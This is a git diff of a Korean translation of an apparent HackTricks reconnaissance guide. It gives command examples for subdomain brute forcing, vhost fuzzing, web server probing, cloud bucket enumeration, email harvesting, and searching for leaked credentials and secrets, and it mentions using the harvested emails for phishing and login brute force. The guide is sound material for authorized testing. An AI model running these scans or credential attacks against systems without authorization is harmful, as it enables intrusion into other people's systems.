**버그 바운티 팁**: **해커들에 의해 만들어진 프리미엄 버그 바운티 플랫폼인** **Intigriti**에 가입하세요! 오늘 [**https://go.intigriti.com/hacktricks**](https://go.intigriti.com/hacktricks)에서 가입하고 최대 **$100,000**까지 보상을 받으세요!
|
||||
**버그 바운티 팁**: 해커들이 만든 프리미엄 **버그 바운티 플랫폼**인 **Intigriti**에 **가입**하세요! 오늘 [**https://go.intigriti.com/hacktricks**](https://go.intigriti.com/hacktricks)에서 함께하여 최대 **$100,000**의 바운티를 받으세요!
|
||||
|
||||
{% embed url="https://go.intigriti.com/hacktricks" %}
|
||||
|
||||
|
@ -208,13 +200,13 @@ _도메인이 클라이언트가 제어하지 않는 IP 내에 호스팅되는
|
|||
|
||||
### **DNS**
|
||||
|
||||
**DNS** 레코드에서 **하위 도메인**을 가져오려고 합니다. **Zone Transfer**도 시도해야 합니다(취약하면 보고해야 합니다).
|
||||
**DNS** 레코드에서 **하위 도메인**을 가져오려고 합니다. 취약하다면 **Zone Transfer**를 시도해야 합니다(취약하다면 보고해야 합니다).
|
||||
```bash
|
||||
dnsrecon -a -d tesla.com
|
||||
```
|
||||
### **OSINT**
|
||||
|
||||
다량의 하위 도메인을 얻는 가장 빠른 방법은 외부 소스에서 검색하는 것입니다. 가장 많이 사용되는 **도구**는 다음과 같습니다 (더 나은 결과를 위해 API 키를 구성하세요):
|
||||
많은 하위 도메인을 빠르게 얻는 방법은 외부 소스에서 검색하는 것입니다. 가장 많이 사용되는 **도구**는 다음과 같습니다 (더 나은 결과를 얻으려면 API 키를 구성하세요):
|
||||
|
||||
* [**BBOT**](https://github.com/blacklanternsecurity/bbot)
|
||||
```bash
|
||||
|
@ -334,7 +326,7 @@ python3 DomainTrail.py -d example.com
|
|||
|
||||
### **DNS 브루트 포스**
|
||||
|
||||
가능한 서브도메인 이름을 사용하여 DNS 서버를 브루트 포스하여 새로운 **서브도메인**을 찾아봅시다.
|
||||
가능한 서브도메인 이름을 사용하여 DNS 서버를 브루트 포싱하여 새로운 **서브도메인**을 찾아봅시다.
|
||||
|
||||
이 작업을 위해 몇 가지 **일반적인 서브도메인 워드리스트가 필요**합니다:
|
||||
|
||||
|
@ -348,17 +340,17 @@ python3 DomainTrail.py -d example.com
|
|||
|
||||
DNS 브루트 포스에 가장 권장되는 도구들은 다음과 같습니다:
|
||||
|
||||
* [**massdns**](https://github.com/blechschmidt/massdns): 이 도구는 효과적인 DNS 브루트 포스를 수행한 최초의 도구였습니다. 매우 빠르지만 잘못된 양성 결과가 발생할 수 있습니다.
|
||||
* [**massdns**](https://github.com/blechschmidt/massdns): 이 도구는 효과적인 DNS 브루트 포스를 수행한 최초의 도구였습니다. 매우 빠르지만 잘못된 양성 결과에 취약합니다.
|
||||
```bash
|
||||
sed 's/$/.domain.com/' subdomains.txt > bf-subdomains.txt
|
||||
./massdns -r resolvers.txt -w /tmp/results.txt bf-subdomains.txt
|
||||
grep -E "tesla.com. [0-9]+ IN A .+" /tmp/results.txt
|
||||
```
|
||||
* [**gobuster**](https://github.com/OJ/gobuster): 이것은 제 생각에는 1개의 resolver만 사용하는 것 같습니다.
|
||||
* [**gobuster**](https://github.com/OJ/gobuster): 이것은 제 생각에는 1개의 리졸버만 사용하는 것 같습니다.
|
||||
```
|
||||
gobuster dns -d mysite.com -t 50 -w subdomains.txt
|
||||
```
|
||||
* [**shuffledns**](https://github.com/projectdiscovery/shuffledns)는 `massdns`를 둘러싼 go로 작성된 래퍼로, 활성 브루트포스를 사용하여 유효한 하위 도메인을 나열하고, 와일드카드 처리 및 쉬운 입출력 지원을 통해 하위 도메인을 해결할 수 있습니다.
|
||||
* [**shuffledns**](https://github.com/projectdiscovery/shuffledns)는 `massdns`를 감싼 것으로, 유효한 하위 도메인을 활성 브루트 포스를 사용하여 나열하고, 와일드카드 처리 및 쉬운 입출력 지원을 통해 하위 도메인을 해결할 수 있습니다.
|
||||
```
|
||||
shuffledns -d example.com -list example-subdomains.txt -r resolvers.txt
|
||||
```
|
||||
|
@ -366,20 +358,20 @@ shuffledns -d example.com -list example-subdomains.txt -r resolvers.txt
|
|||
```
|
||||
puredns bruteforce all.txt domain.com
|
||||
```
|
||||
* [**aiodnsbrute**](https://github.com/blark/aiodnsbrute)은 asyncio를 사용하여 도메인 이름을 비동기적으로 무차별 대입 공격합니다.
|
||||
* [**aiodnsbrute**](https://github.com/blark/aiodnsbrute)은 asyncio를 사용하여 도메인 이름을 비동기적으로 무차별 대입하는 데 사용됩니다.
|
||||
```
|
||||
aiodnsbrute -r resolvers -w wordlist.txt -vv -t 1024 domain.com
|
||||
```
|
||||
### 두 번째 DNS 브루트포스 라운드
|
||||
|
||||
공개 소스 및 브루트포스를 사용하여 하위 도메인을 찾은 후, 찾은 하위 도메인의 변형을 생성하여 더 많은 도메인을 찾아볼 수 있습니다. 이를 위해 다음과 같은 여러 도구가 유용합니다:
|
||||
오픈 소스 및 브루트 포싱을 사용하여 하위 도메인을 찾은 후, 찾은 하위 도메인의 변형을 생성하여 더 많은 도메인을 찾아볼 수 있습니다. 이를 위해 다음과 같은 여러 도구가 유용합니다:
|
||||
|
||||
* [**dnsgen**](https://github.com/ProjectAnte/dnsgen)**:** 도메인 및 하위 도메인을 주어진 경우 순열을 생성합니다.
|
||||
```bash
|
||||
cat subdomains.txt | dnsgen -
|
||||
```
|
||||
* [**goaltdns**](https://github.com/subfinder/goaltdns): 주어진 도메인 및 서브도메인에서 순열을 생성합니다.
|
||||
* goaltdns 순열 **wordlist**를 [**여기**](https://github.com/subfinder/goaltdns/blob/master/words.txt)에서 얻을 수 있습니다.
|
||||
* goaltdns 순열 **워드리스트**는 [**여기**](https://github.com/subfinder/goaltdns/blob/master/words.txt)에서 얻을 수 있습니다.
|
||||
```bash
|
||||
goaltdns -l subdomains.txt -w /tmp/words-permutations.txt -o /tmp/final-words-s3.txt
|
||||
```
|
||||
|
@ -388,12 +380,12 @@ goaltdns -l subdomains.txt -w /tmp/words-permutations.txt -o /tmp/final-words-s3
|
|||
gotator -sub subdomains.txt -silent [-perm /tmp/words-permutations.txt]
|
||||
```
|
||||
* [**altdns**](https://github.com/infosec-au/altdns): 하위 도메인 순열을 생성하는 것 외에도 해결을 시도할 수 있지만 (이전에 설명된 도구를 사용하는 것이 더 좋음).
|
||||
* altdns 순열 **wordlist**는 [**여기**](https://github.com/infosec-au/altdns/blob/master/words.txt)에서 얻을 수 있습니다.
|
||||
* altdns 순열 **wordlist**를 [**여기**](https://github.com/infosec-au/altdns/blob/master/words.txt)에서 얻을 수 있습니다.
|
||||
```
|
||||
altdns -i subdomains.txt -w /tmp/words-permutations.txt -o /tmp/asd3
|
||||
```
|
||||
* [**dmut**](https://github.com/bp0lr/dmut): 하위 도메인의 순열, 변형 및 변경을 수행하는 또 다른 도구입니다. 이 도구는 결과를 무차별 대입할 것입니다 (dns 와일드카드를 지원하지 않음).
|
||||
* dmut 순열 워드리스트는 [**여기**](https://raw.githubusercontent.com/bp0lr/dmut/main/words.txt)에서 얻을 수 있습니다.
|
||||
* [**dmut**](https://github.com/bp0lr/dmut): 하위 도메인의 순열, 변형 및 변경을 수행하는 또 다른 도구입니다. 이 도구는 결과를 무차별 대입할 것입니다 (DNS 와일드카드를 지원하지 않음).
|
||||
* dmut 순열 워드리스트를 [**여기**](https://raw.githubusercontent.com/bp0lr/dmut/main/words.txt)에서 얻을 수 있습니다.
|
||||
```bash
|
||||
cat subdomains.txt | dmut -d /tmp/words-permutations.txt -w 100 \
|
||||
--dns-errorLimit 10 --use-pb --verbose -s /tmp/resolvers-trusted.txt
|
||||
|
@ -402,19 +394,19 @@ cat subdomains.txt | dmut -d /tmp/words-permutations.txt -w 100 \
|
|||
|
||||
#### 스마트 순열 생성
|
||||
|
||||
* [**regulator**](https://github.com/cramppet/regulator): 자세한 내용은 이 [**포스트**](https://cramppet.github.io/regulator/index.html)를 읽어보세요. 이 도구는 **발견된 하위 도메인의 주요 부분**을 가져와 섞어 더 많은 하위 도메인을 찾습니다.
|
||||
* [**regulator**](https://github.com/cramppet/regulator): 자세한 내용은 이 [**포스트**](https://cramppet.github.io/regulator/index.html)를 참조하십시오. 그러나 기본적으로 **발견된 하위 도메인**에서 **주요 부분**을 가져와 섞어 더 많은 하위 도메인을 찾을 것입니다.
|
||||
```bash
|
||||
python3 main.py adobe.com adobe adobe.rules
|
||||
make_brute_list.sh adobe.rules adobe.brute
|
||||
puredns resolve adobe.brute --write adobe.valid
|
||||
```
|
||||
* [**subzuf**](https://github.com/elceef/subzuf)**:** _subzuf_은 하위 도메인 브루트 포스 퍼저로, 극도로 간단하지만 효과적인 DNS 응답 안내 알고리즘과 결합되어 있습니다. 특정한 워드리스트나 과거의 DNS/TLS 레코드와 같은 입력 데이터 세트를 활용하여 더 많은 해당 도메인 이름을 정확하게 합성하고 DNS 스캔 중 수집된 정보를 기반으로 루프를 통해 더 확장합니다.
|
||||
* [**subzuf**](https://github.com/elceef/subzuf)**:** _subzuf_은 서브도메인 브루트포스 퍼저로, 극도로 간단하지만 효과적인 DNS 응답 안내 알고리즘과 결합되어 있습니다. 사용자 지정 워드리스트나 과거 DNS/TLS 레코드와 같은 입력 데이터 세트를 활용하여 더 많은 해당 도메인 이름을 정확하게 합성하고 DNS 스캔 중 수집된 정보를 기반으로 루프를 통해 더 확장합니다.
|
||||
```
|
||||
echo www | subzuf facebook.com
|
||||
```
|
||||
### **서브도메인 발견 워크플로우**
|
||||
|
||||
도메인에서 **Trickest 워크플로우**를 사용하여 **서브도메인 발견을 자동화**하는 방법에 대해 작성한 블로그 포스트를 확인하세요. 이를 통해 컴퓨터에서 수동으로 여러 도구를 실행할 필요가 없습니다:
|
||||
도메인에서 **Trickest 워크플로우**를 사용하여 **서브도메인 발견을 자동화**하는 방법에 대해 작성한 블로그 포스트를 확인해보세요. 이를 통해 컴퓨터에서 수동으로 여러 도구를 실행할 필요가 없습니다:
|
||||
|
||||
{% embed url="https://trickest.com/blog/full-subdomain-discovery-using-workflow/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
|
||||
|
||||
|
@ -422,11 +414,11 @@ echo www | subzuf facebook.com
|
|||
|
||||
### **VHosts / 가상 호스트**
|
||||
|
||||
하나 이상의 웹 페이지를 포함하는 **IP 주소를 발견**했다면, 해당 IP에서 **다른 서브도메인을 찾아볼 수 있습니다**. 이를 위해 IP에서 도메인을 찾거나 **해당 IP의 VHost 도메인 이름을 무차별 대입**하여 다른 서브도메인을 찾아볼 수 있습니다.
|
||||
하나 이상의 웹 페이지를 포함하는 IP 주소를 발견했다면, 해당 IP에서 **다른 서브도메인을 찾아볼 수 있습니다**. 이를 위해 **OSINT 소스**에서 IP의 도메인을 찾거나 해당 IP에서 **VHost 도메인 이름을 무차별 대입**하여 다른 서브도메인을 찾아볼 수 있습니다.
|
||||
|
||||
#### OSINT
|
||||
|
||||
[**HostHunter**](https://github.com/SpiderLabs/HostHunter) **또는 다른 API를 사용하여** IP에서 **VHost를 찾을 수 있습니다**.
|
||||
[**HostHunter**](https://github.com/SpiderLabs/HostHunter) **또는 다른 API**를 사용하여 **IP에서 VHost를 찾을 수 있습니다**.
|
||||
|
||||
**무차별 대입**
|
||||
|
||||
|
@ -461,30 +453,30 @@ ffuf -w subdomains-top1million-5000.txt -u http://10.10.10.208 -H 'Origin: http:
|
|||
|
||||
### **모니터링**
|
||||
|
||||
**도메인**의 **새로운 서브도메인**이 생성되는지 **모니터링**하여 **Certificate Transparency** 로그를 통해 확인할 수 있습니다. [**sublert** ](https://github.com/yassineaboukir/sublert/blob/master/sublert.py)를 사용하세요.
|
||||
도메인의 **새로운 서브도메인**이 생성되는지 **모니터링**하여 **Certificate Transparency** 로그를 통해 확인할 수 있습니다. [**sublert** ](https://github.com/yassineaboukir/sublert/blob/master/sublert.py)가 수행합니다.
|
||||
|
||||
### **취약점 탐색**
|
||||
|
||||
가능한 [**서브도메인 탈취**](../../pentesting-web/domain-subdomain-takeover.md#subdomain-takeover)을 확인하세요.\
|
||||
**서브도메인**이 **S3 버킷**을 가리키는 경우, [**권한을 확인**](../../network-services-pentesting/pentesting-web/buckets/)하세요.
|
||||
|
||||
자산 발견에서 이미 찾은 IP와 다른 **IP를 가리키는 서브도메인**을 발견하면 **기본 취약점 스캔**(Nessus 또는 OpenVAS 사용) 및 **nmap/masscan/shodan**을 사용한 [**포트 스캔**](../pentesting-network/#discovering-hosts-from-the-outside)을 수행해야 합니다. 실행 중인 서비스에 따라 **이 책에서 해당 서비스를 "공격"하는 방법**을 찾을 수 있습니다.\
|
||||
_가끔 서브도메인이 클라이언트가 제어하지 않는 IP에 호스팅되어 있어 범위에 포함되지 않을 수 있으니 주의하세요._
|
||||
자산 발견에서 이미 찾은 IP와 다른 **IP를 가리키는 서브도메인**을 찾으면 **기본 취약점 스캔**(Nessus 또는 OpenVAS 사용) 및 **포트 스캔** (nmap/masscan/shodan 사용)을 수행해야 합니다. 실행 중인 서비스에 따라 **이 책에서 해당 서비스를 "공격"하는 방법**을 찾을 수 있습니다.\
|
||||
_때로는 서브도메인이 클라이언트가 제어하지 않는 IP에 호스팅되어 있어 범위에 포함되지 않을 수 있으므로 주의하세요._
|
||||
|
||||
## IPs
|
||||
|
||||
초기 단계에서 **일부 IP 범위, 도메인 및 서브도메인을 찾았을 수 있습니다**.\
|
||||
이제 **해당 범위에서 모든 IP**와 **도메인/서브도메인(DNS 쿼리)**을 다시 수집할 시간입니다.
|
||||
|
||||
다음 **무료 API 서비스**를 사용하여 **도메인 및 서브도메인이 사용한 이전 IP**를 찾을 수도 있습니다. 이러한 IP는 여전히 클라이언트가 소유하고 있을 수 있으며 [**CloudFlare 우회**](../../network-services-pentesting/pentesting-web/uncovering-cloudflare.md)를 찾을 수 있습니다.
|
||||
다음 **무료 API 서비스**를 사용하여 **도메인 및 서브도메인이 사용한 이전 IP**를 찾을 수도 있습니다. 이러한 IP는 아직 클라이언트가 소유하고 있을 수 있으며 [**CloudFlare 우회**](../../network-services-pentesting/pentesting-web/uncovering-cloudflare.md)를 찾을 수 있습니다.
|
||||
|
||||
* [**https://securitytrails.com/**](https://securitytrails.com/)
|
||||
|
||||
도메인이 특정 IP 주소를 가리키는지 확인할 수 있는 도구 [**hakip2host**](https://github.com/hakluke/hakip2host)를 사용할 수도 있습니다.
|
||||
도메인이 특정 IP 주소를 가리키는지 확인할 수 있는 도구 [**hakip2host**](https://github.com/hakluke/hakip2host)도 있습니다.
|
||||
|
||||
### **취약점 탐색**
|
||||
|
||||
**CDN에 속하지 않는 모든 IP에 대해 포트 스캔**을 수행하세요(거기에서 흥미로운 것을 찾을 가능성이 높지 않습니다). 발견된 실행 중인 서비스에서 **취약점을 찾을 수 있습니다**.
|
||||
**CDN에 속하지 않는 모든 IP에 대해 포트 스캔**을 수행하세요 (거기에 흥미로운 것을 찾을 가능성이 높지 않습니다). 발견된 실행 중인 서비스에서 **취약점을 찾을 수 있습니다**.
|
||||
|
||||
**호스트를 스캔하는 방법에 대한** [**가이드**](../pentesting-network/) **를 찾으세요.**
|
||||
|
||||
|
@ -492,56 +484,56 @@ _가끔 서브도메인이 클라이언트가 제어하지 않는 IP에 호스
|
|||
|
||||
> 모든 기업과 그 자산을 찾았으며 범위 내의 IP 범위, 도메인 및 서브도메인을 알고 있습니다. 이제 웹 서버를 찾아보는 시간입니다.
|
||||
|
||||
이전 단계에서 이미 발견된 IP 및 도메인의 **정찰**을 수행했을 가능성이 높으므로 **모든 가능한 웹 서버를 이미 찾았을 수 있습니다**. 그러나 아직 찾지 못했다면 이제 범위 내의 웹 서버를 찾는 **빠른 트릭**을 살펴보겠습니다.
|
||||
이전 단계에서 이미 발견한 **IP 및 도메인의 탐색**을 수행했을 가능성이 높으므로 **모든 가능한 웹 서버를 이미 찾았을 수 있습니다**. 그러나 아직이라면 이제 범위 내의 웹 서버를 찾는 **빠른 팁**을 살펴보겠습니다.
|
||||
|
||||
이것은 **웹 앱 발견을 위해 지향**되므로 범위 내에서 **취약점** 및 **포트 스캔**도 수행해야 합니다(**범위 내에서 허용되는 경우**).
|
||||
이것은 **웹 앱 발견을 위해 지향**되므로 범위 내에서 **취약점** 및 **포트 스캔**도 수행해야 합니다 (**범위 내에서 허용되는 경우**).
|
||||
|
||||
[**masscan을 사용하여 웹 서버와 관련된 열린 포트를 빠르게 찾을 수 있는 빠른 방법**은 여기에서 찾을 수 있습니다](../pentesting-network/#http-port-discovery).\
|
||||
다른 웹 서버를 찾는 데 유용한 도구로 [**httprobe**](https://github.com/tomnomnom/httprobe)**,** [**fprobe**](https://github.com/theblackturtle/fprobe) 및 [**httpx**](https://github.com/projectdiscovery/httpx)가 있습니다. 도메인 목록을 전달하면 포트 80(http) 및 443(https)에 연결을 시도합니다. 추가로 다른 포트를 시도하도록 지시할 수도 있습니다:
|
||||
다른 웹 서버를 찾는 데 유용한 도구로 [**httprobe**](https://github.com/tomnomnom/httprobe)**,** [**fprobe**](https://github.com/theblackturtle/fprobe) 및 [**httpx**](https://github.com/projectdiscovery/httpx)가 있습니다. 도메인 목록을 전달하면 포트 80 (http) 및 443 (https)에 연결을 시도합니다. 추가로 다른 포트를 시도하도록 지시할 수도 있습니다:
|
||||
```bash
|
||||
cat /tmp/domains.txt | httprobe #Test all domains inside the file for port 80 and 443
|
||||
cat /tmp/domains.txt | httprobe -p http:8080 -p https:8443 #Check port 80, 443 and 8080 and 8443
|
||||
```
|
||||
### **스크린샷**
|
||||
|
||||
이제 스코프 내에 있는 모든 웹 서버(회사의 IP 및 모든 도메인 및 서브도메인 중)를 발견했으므로 아마도 **어디서부터 시작해야 할지 모를 것**입니다. 그래서 간단하게 시작하고 그 모든 것의 스크린샷을 찍는 것부터 시작합시다. **메인 페이지**를 살펴보기만 해도 **취약할 가능성이 높은** 이상한 엔드포인트를 찾을 수 있습니다.
|
||||
이제 **회사의 IP**와 **도메인** 및 **서브도메인** 중에서 **모든 웹 서버**를 발견했으므로 아마도 **어디서부터 시작해야 할지 모를 것**입니다. 그래서, 간단하게 시작하고 그들의 **스크린샷**을 찍는 것부터 시작합시다. **메인 페이지**를 살펴보기만 해도 **취약할 가능성이 높은** **이상한** 엔드포인트를 찾을 수 있습니다.
|
||||
|
||||
제안된 아이디어를 수행하기 위해 [**EyeWitness**](https://github.com/FortyNorthSecurity/EyeWitness), [**HttpScreenshot**](https://github.com/breenmachine/httpscreenshot), [**Aquatone**](https://github.com/michenriksen/aquatone), [**Shutter**](https://shutter-project.org/downloads/third-party-packages/) 또는 [**webscreenshot**](https://github.com/maaaaz/webscreenshot)를 사용할 수 있습니다.
|
||||
제안된 아이디어를 수행하기 위해 [**EyeWitness**](https://github.com/FortyNorthSecurity/EyeWitness), [**HttpScreenshot**](https://github.com/breenmachine/httpscreenshot), [**Aquatone**](https://github.com/michenriksen/aquatone), [**Shutter**](https://shutter-project.org/downloads/third-party-packages/) 또는 [**webscreenshot**](https://github.com/maaaaz/webscreenshot)**를 사용할 수 있습니다.**
|
||||
|
||||
또한, 그런 다음 [**eyeballer**](https://github.com/BishopFox/eyeballer)를 사용하여 **스크린샷**을 모두 실행하여 **취약점을 포함할 가능성이 높은 것**과 그렇지 않은 것을 알려줄 수 있습니다.
|
||||
|
||||
## 퍼블릭 클라우드 자산
|
||||
## 공용 클라우드 자산
|
||||
|
||||
회사에 속한 잠재적인 클라우드 자산을 찾으려면 해당 회사를 식별하는 키워드 목록부터 시작해야 합니다. 예를 들어, 암호화 회사의 경우 "crypto", "wallet", "dao", "<domain_name>", <"subdomain_names">와 같은 단어를 사용할 수 있습니다.
|
||||
회사에 속한 잠재적인 클라우드 자산을 찾으려면 그 회사를 식별하는 키워드 목록부터 시작해야 합니다. 예를 들어, 암호화 회사의 경우 "crypto", "wallet", "dao", "<domain_name>", <"subdomain_names">와 같은 단어를 사용할 수 있습니다.
|
||||
|
||||
또한 **버킷에 사용되는 일반 단어들의 단어 목록**이 필요합니다:
|
||||
또한 **버킷에서 사용되는 일반 단어들의 단어 목록**이 필요합니다:
|
||||
|
||||
* [https://raw.githubusercontent.com/cujanovic/goaltdns/master/words.txt](https://raw.githubusercontent.com/cujanovic/goaltdns/master/words.txt)
|
||||
* [https://raw.githubusercontent.com/infosec-au/altdns/master/words.txt](https://raw.githubusercontent.com/infosec-au/altdns/master/words.txt)
|
||||
* [https://raw.githubusercontent.com/jordanpotti/AWSBucketDump/master/BucketNames.txt](https://raw.githubusercontent.com/jordanpotti/AWSBucketDump/master/BucketNames.txt)
|
||||
|
||||
그런 다음 해당 단어들로 **순열을 생성**해야 합니다(자세한 내용은 [**두 번째 라운드 DNS 브루트포스**](./#second-dns-bruteforce-round)를 확인하십시오).
|
||||
그런 다음 해당 단어들로 **순열을 생성**해야 합니다(자세한 내용은 [**두 번째 DNS 브루트포스 라운드**](./#second-dns-bruteforce-round)를 확인하십시오).
|
||||
|
||||
생성된 단어 목록을 사용하여 [**cloud\_enum**](https://github.com/initstring/cloud\_enum), [**CloudScraper**](https://github.com/jordanpotti/CloudScraper), [**cloudlist**](https://github.com/projectdiscovery/cloudlist) 또는 [**S3Scanner**](https://github.com/sa7mon/S3Scanner)와 같은 도구를 사용할 수 있습니다.
|
||||
생성된 단어 목록을 사용하여 [**cloud\_enum**](https://github.com/initstring/cloud\_enum)**, [**CloudScraper**](https://github.com/jordanpotti/CloudScraper)**, [**cloudlist**](https://github.com/projectdiscovery/cloudlist) 또는 [**S3Scanner**](https://github.com/sa7mon/S3Scanner)**와 같은 도구를 사용할 수 있습니다.**
|
||||
|
||||
클라우드 자산을 찾을 때 **AWS 버킷 이상을 찾아야** 한다는 것을 기억하십시오.
|
||||
클라우드 자산을 찾을 때 **AWS의 버킷 이상을 찾아야** 한다는 것을 기억하십시오.
|
||||
|
||||
### **취약점 찾기**
|
||||
|
||||
**공개 버킷이나 노출된 클라우드 함수**와 같은 것을 발견하면 **접근**하여 제공되는 내용을 확인하고 악용할 수 있는지 확인해야 합니다.
|
||||
**공개 버킷이나 노출된 클라우드 함수**와 같은 것을 발견하면 **접근**하여 그들이 제공하는 것을 확인하고 악용할 수 있는지 확인해야 합니다.
|
||||
|
||||
## 이메일
|
||||
|
||||
스코프 내의 **도메인** 및 **서브도메인**을 통해 기업의 이메일을 검색하기 시작할 필요가 있습니다. 이는 회사의 이메일을 찾는 데 가장 잘 작동한 **API** 및 **도구**입니다:
|
||||
범위 내의 **도메인** 및 **서브도메인**을 가지고 있으면 기본적으로 이메일을 검색하기 시작할 수 있는 모든 것을 갖추고 있습니다. 회사의 이메일을 찾는 데 가장 잘 작동한 **API** 및 **도구**는 다음과 같습니다:
|
||||
|
||||
* [**theHarvester**](https://github.com/laramies/theHarvester) - APIs와 함께
|
||||
* [**https://hunter.io/**](https://hunter.io/)의 API(무료 버전)
|
||||
* [**https://app.snov.io/**](https://app.snov.io/)의 API(무료 버전)
|
||||
* [**https://minelead.io/**](https://minelead.io/)의 API(무료 버전)
|
||||
* [**https://hunter.io/**](https://hunter.io/)의 API (무료 버전)
|
||||
* [**https://app.snov.io/**](https://app.snov.io/)의 API (무료 버전)
|
||||
* [**https://minelead.io/**](https://minelead.io/)의 API (무료 버전)
|
||||
|
||||
### **취약점 찾기**
|
||||
|
||||
나중에 이메일은 웹 로그인 및 인증 서비스(예: SSH)를 브루트 포스하거나 **피싱**에 필요합니다. 또한, 이러한 API는 이메일 뒤에 있는 **사람에 대한 더 많은 정보**를 제공하여 피싱 캠페인에 유용합니다.
|
||||
나중에 이메일은 **웹 로그인 및 인증 서비스를 브루트 포스**하거나(예: SSH) **피싱**에 필요합니다. 또한, 이러한 API는 이메일 뒤에 있는 **사람에 대한 더 많은 정보**를 제공하여 피싱 캠페인에 유용합니다.
|
||||
|
||||
## 자격 증명 유출
|
||||
|
||||
|
@ -552,18 +544,18 @@ cat /tmp/domains.txt | httprobe -p http:8080 -p https:8443 #Check port 80, 443 a
|
|||
|
||||
### **취약점 찾기**
|
||||
|
||||
유효한 유출된 자격 증명을 찾으면 매우 쉬운 승리입니다.
|
||||
**유효한 유출된** 자격 증명을 찾으면 매우 쉬운 승리입니다.
|
||||
|
||||
## 비밀 유출
|
||||
|
||||
자격 증명 유출은 **민감한 정보가 유출되고 판매된** 회사 해킹과 관련이 있습니다. 그러나 회사는 그러한 데이터베이스에 없는 **다른 유출**에 영향을 받을 수 있습니다:
|
||||
자격 증명 유출은 **민감한 정보가 유출되고 판매된** 회사의 해킹과 관련이 있습니다. 그러나 회사는 그러한 데이터베이스에 없는 정보가 포함된 **다른 유출**에 영향을 받을 수 있습니다:
|
||||
|
||||
### Github 유출
|
||||
|
||||
자격 증명 및 API는 **회사의 공개 저장소**나 해당 github 회사의 **사용자**가 작업하는 공개 저장소에서 유출될 수 있습니다.\
|
||||
**Leakos** 도구를 사용하여 **조직** 및 **개발자**의 모든 **공개 저장소**를 **다운로드**하고 자동으로 [**gitleaks**](https://github.com/zricethezav/gitleaks)를 실행할 수 있습니다.
|
||||
**Leakos** 도구를 사용하여 **조직** 및 **개발자**의 **모든 공개 저장소**를 **다운로드**하고 자동으로 [**gitleaks**](https://github.com/zricethezav/gitleaks)를 실행할 수 있습니다.
|
||||
|
||||
**Leakos**는 때로는 **웹 페이지에도 비밀이 포함**되어 있기 때문에 **URL을 전달**받은 **텍스트**에 대해 **gitleaks**를 다시 실행하는 데 사용할 수 있습니다.
|
||||
**Leakos**는 때로는 **웹 페이지에도 비밀이 포함**되어 있기 때문에 **제공된 URL을 통해 gitleaks를 다시 실행**하는 데 사용할 수 있습니다.
|
||||
|
||||
#### Github Dorks
|
||||
|
||||
|
@ -576,21 +568,21 @@ cat /tmp/domains.txt | httprobe -p http:8080 -p https:8443 #Check port 80, 443 a
|
|||
### Pastes 유출
|
||||
|
||||
가끔 공격자나 작업자가 **회사 콘텐츠를 붙여넣기 사이트에 게시**할 수 있습니다. 이는 **민감한 정보**를 포함할 수도 있고 그렇지 않을 수도 있지만 검색해 보는 것이 매우 흥미로울 수 있습니다.\
|
||||
80개 이상의 붙여넣기 사이트에서 검색할 수 있는 [**Pastos**](https://github.com/carlospolop/Pastos) 도구를 사용할 수 있습니다.
|
||||
**Pastos** 도구를 사용하여 한 번에 80개 이상의 붙여넣기 사이트에서 검색할 수 있습니다.
|
||||
|
||||
### Google Dorks
|
||||
|
||||
오래된 Google Dorks는 **노출되지 않아야 할 정보를 찾는 데 항상 유용**합니다. 유일한 문제는 [**google-hacking-database**](https://www.exploit-db.com/google-hacking-database)에 수천 개의 가능한 쿼리가 포함되어 있어 수동으로 실행할 수 없다는 것입니다. 따라서 좋아하는 10개를 선택하거나 [**Gorks**](https://github.com/carlospolop/Gorks)와 같은 도구를 사용하여 모두 실행할 수 있습니다.
|
||||
|
||||
_일반 Google 브라우저를 사용하여 데이터베이스 전체를 실행하는 도구는 Google이 매우 빨리 차단할 것이므로 종료되지 않을 것임을 참고하십시오._
|
||||
_일반 Google 브라우저를 사용하여 데이터베이스 전체를 실행하는 도구는 Google이 매우 빨리 차단할 것이므로 종료되지 않을 것입니다._
|
||||
|
||||
### **취약점 찾기**
|
||||
|
||||
유효한 유출된 자격 증명이나 API 토큰을 찾으면 매우 쉬운 승리입니다.
|
||||
**유효한 유출된** 자격 증명이나 API 토큰을 찾으면 매우 쉬운 승리입니다.
|
||||
|
||||
## 공개 코드 취약점
|
||||
|
||||
회사에 **오픈 소스 코드**가 있다면 해당 코드를 **분석**하고 그 안에 **취약점**을 찾을 수 있습니다.
|
||||
회사에 **오픈 소스 코드**가 있다면 해당 코드를 **분석**하고 **취약점**을 찾을 수 있습니다.
|
||||
|
||||
**언어에 따라** 사용할 수 있는 다양한 **도구**가 있습니다:
|
||||
|
||||
|
@ -603,9 +595,9 @@ _일반 Google 브라우저를 사용하여 데이터베이스 전체를 실행
|
|||
* [**Snyk**](https://app.snyk.io/)
|
||||
## [**웹 펜테스팅 방법론**](../../network-services-pentesting/pentesting-web/)
|
||||
|
||||
**버그 헌터들이 발견한 취약점의 대다수**는 **웹 애플리케이션** 내에 존재하므로, 이 시점에서 **웹 애플리케이션 테스트 방법론**에 대해 이야기하고 있습니다. 이 정보는 [**여기에서 찾을 수 있습니다**](../../network-services-pentesting/pentesting-web/).
|
||||
**버그 헌터들이 발견한 취약점의 대다수**는 **웹 애플리케이션** 내에 존재하기 때문에, 이 시점에서 **웹 애플리케이션 테스트 방법론**에 대해 이야기하고 있습니다. 이 정보는 [**여기에서 찾을 수 있습니다**](../../network-services-pentesting/pentesting-web/).
|
||||
|
||||
또한 [**웹 자동화 스캐너 오픈 소스 도구**](../../network-services-pentesting/pentesting-web/#automatic-scanners) 섹션에 특별히 언급하고 싶습니다. 이 도구들은 매우 민감한 취약점을 찾지는 못할지라도, **일부 초기 웹 정보를 얻기 위해 워크플로에 구현하는 데 유용**합니다.
|
||||
또한 [**웹 자동 스캐너 오픈 소스 도구**](../../network-services-pentesting/pentesting-web/#automatic-scanners) 섹션에 특별 언급을 하고 싶습니다. 이 도구들은 매우 민감한 취약점을 찾지는 못할지라도, **일부 초기 웹 정보를 얻기 위해 워크플로에 구현하는 데 유용**합니다.
|
||||
|
||||
## 요약
|
||||
|
||||
|
@ -614,18 +606,18 @@ _일반 Google 브라우저를 사용하여 데이터베이스 전체를 실행
|
|||
따라서 이미 다음을 수행했습니다:
|
||||
|
||||
1. 범위 내의 **모든 회사**를 찾았습니다.
|
||||
2. 회사에 속한 **모든 자산**을 찾았으며 (범위 내에 있다면 취약성 스캔도 수행했습니다).
|
||||
2. 회사에 속한 **모든 자산**을 찾았습니다 (범위 내에 있다면 취약성 스캔 수행).
|
||||
3. 회사에 속한 **모든 도메인**을 찾았습니다.
|
